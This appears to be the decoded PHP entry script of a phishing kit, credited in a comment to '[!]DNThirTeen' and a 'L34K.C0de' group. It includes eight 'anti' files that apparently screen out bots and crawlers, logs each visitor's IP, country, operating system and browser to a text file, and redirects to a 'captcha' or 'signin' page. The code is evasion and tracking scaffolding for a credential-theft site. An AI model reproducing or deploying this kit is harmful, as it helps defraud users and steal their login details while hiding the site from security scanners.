PHP Decode

<?php  
/* 
   .               . 
  .          . 
        
 ...   
.               
FuCkEd By [!]DNThirTeen 
https://www.facebook.com/groups/L34K.C0de/ 
*/ 
include '../prevents/anti1.php'; 
include '../prevents/anti2.php'; 
include '../prevents/anti3.php'; 
include '../prevents/anti4.php'; 
include '../prevents/anti5.php'; 
include '../prevents/anti6.php'; 
include '../prevents/anti7.php'; 
include '../prevents/anti8.php'; 
ob_start(); 
session_start(); 
require '../extra/algo.php'; 
$_SESSION['language']=getLanguage(); 
$_SESSION['ip']=clientData('ip'); 
$_SESSION['ip_countryName']=clientData('country'); 
$_SESSION['ip_countryCode']=clientData('code'); 
$_SESSION['currency']=clientData('currency'); 
$_SESSION['os']=getOs(); 
$_SESSION['browser']=getBrowser(); 
date_default_timezone_set('GMT'); 
$dateNow=date("d/m/Y h:i:s A"); 
$code="{$_SESSION['ip']} | {$dateNow} | {$_SESSION['ip_countryName']} | {$_SESSION['os']} | {$_SESSION['browser']}
"; 
$save=fopen("../log.txt","a+"); 
fwrite($save,$code); 
fclose($save); 
include '../extra/mine.php'; 
if ($show_captcha=="yes") { 
exit(header("Location: captcha")); 
}else{ 
	exit(header("Location: signin")); 
 
} 
?>